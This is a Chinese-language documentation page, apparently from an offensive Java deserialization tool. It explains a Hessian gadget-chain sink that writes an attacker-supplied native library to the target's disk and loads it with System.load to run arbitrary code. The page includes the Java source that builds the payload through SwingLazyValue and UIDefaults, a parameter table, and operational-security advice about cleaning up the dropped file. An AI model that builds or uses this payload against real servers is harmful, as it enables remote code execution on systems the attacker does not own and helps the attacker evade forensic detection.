Skip to content

Latest commit

 

History

History
77 lines (69 loc) · 5.1 KB

File metadata and controls

77 lines (69 loc) · 5.1 KB

写库文件和加载动态链接库的代码执行链(SystemLoad)

  • 类别:hessian 别名:— 优先级:—
  • 作者:—
  • 依赖only jdk(仅需 JDK,无第三方 gadget 依赖)

作用

Hessian 场景下的完整 sinktagsEND,不再衔接下游):借 SwingLazyValue 依次反射调用 JDK 内置的 JavaUtils.writeBytesToFilename 把攻击者提供的动态链接库(.so/.dylib/.dll)字节写入目标磁盘,再反射调用 System.load 加载该库,触发其 JNI_OnLoad/native 构造代码,实现任意本地代码执行。

链接标签

  • 入口 tagsHessianDeserializeEND —— 承接 Hessian 反序列化入口;END 表示它是链尾 sink,无需再接下游。
  • 衔接 nextTags:无(自成终点)。
  • excludes:无。

源码剖析

public Object getObject() throws Exception {
    log.warn("[OPSEC] need to clean in target file: {}", (Object)this.path);
    byte[] bytes = null;
    if (this.fileBase64 != null && !this.fileBase64.isEmpty()) {
        bytes = Base64.decodeBase64((String)this.fileBase64);
    } else if (this.localPath != null && !this.localPath.isEmpty()) {
        bytes = FileHelper.fileGetContent(this.localPath);
    } else {
        ThrowsUtil.throwNotFoundOptionGadgetException("'fileBase64' or 'localPath'");
    }
    SwingLazyValue writeValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{this.path, bytes});
    SwingLazyValue loadValue = new SwingLazyValue("java.lang.System", "load", new Object[]{this.path});
    LinkedList<Object> list = new LinkedList<Object>();
    list.add(this.getMap(writeValue));
    list.add(this.getMap(loadValue));
    return list;
}

逐段解释:

  • 库文件字节来源二选一:优先 fileBase64(Base64 解码),否则读本地 localPath;都为空则抛「缺参」异常。
  • writeValueSwingLazyValue("...JavaUtils", "writeBytesToFilename", {path, bytes})——求值时静态调用 JavaUtils.writeBytesToFilename(path, bytes),把库字节落地到目标机 pathJavaUtilsrt.jar(xml security 内部工具),满足 SwingLazyValue 只能调 rt.jar 类的限制。
  • loadValueSwingLazyValue("java.lang.System", "load", {path})——求值时调用 System.load(path) 加载刚写出的动态库,触发 native 代码执行。
  • LinkedList 保序装入两份 map:先 writeValueloadValue,确保反序列化触发时先写文件、再加载
public Object getMap(SwingLazyValue value) throws Exception {
    UIDefaults u1 = new UIDefaults();
    UIDefaults u2 = new UIDefaults();
    u1.put("gadget-chains", value);
    u2.put("gadget-chains", value);
    return PayloadHelper.makeMap(u1, u2);
}

getMapSwingLazyValueUIDefaults 的触发外壳一致:把 SwingLazyValue 放进两个键相同的 UIDefaults,用 PayloadHelper.makeMap 构造键碰撞 HashMap;反序列化时 Hashtable.equals 遍历取值触发 UIDefaults.getSwingLazyValue.createValue,完成反射调用。

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject();
}

invoke 直接返回 getObject(),不调用 chain.doCreate——印证它是自给自足的链尾 sink。

参数(@Param)

字段 名称 说明 默认 必填
path 写入的文件路径 库文件在目标机上的落地路径(也是 System.load 的目标) tmp123
fileBase64 动态链接库文件 Base64 格式 Base64 编码的二进制 so/dylib/dll 文件(优先使用)
localPath 本地动态链接库文件路径 从本地读取库文件(fileBase64 为空时使用)

适用版本与原理要点

  • dependencies=only jdk,全程 JDK 内置类(JavaUtils/System/SwingLazyValue/UIDefaults),适合无第三方库的目标。
  • 平台相关:需按目标操作系统提供匹配的原生库(Linux .so、macOS .dylib、Windows .dll),System.load 要求绝对路径。
  • 优先用 fileBase64 内联传库,避免依赖攻击机→目标机的额外文件通道。
  • 代码内 log.warn("[OPSEC] need to clean ...") 提示:落地的库文件需事后清理,属显著取证痕迹(检测点)。
  • SwingLazyValue.createValueclassLoader=null 限制,故落点选择 rt.jar 内的 JavaUtilsSystem

所属预设链

自由构件,未直接出现在预设链(作 Hessian 链尾 sink,可替换 BytecodeConvert+Exec 等字节码 sink)。

关联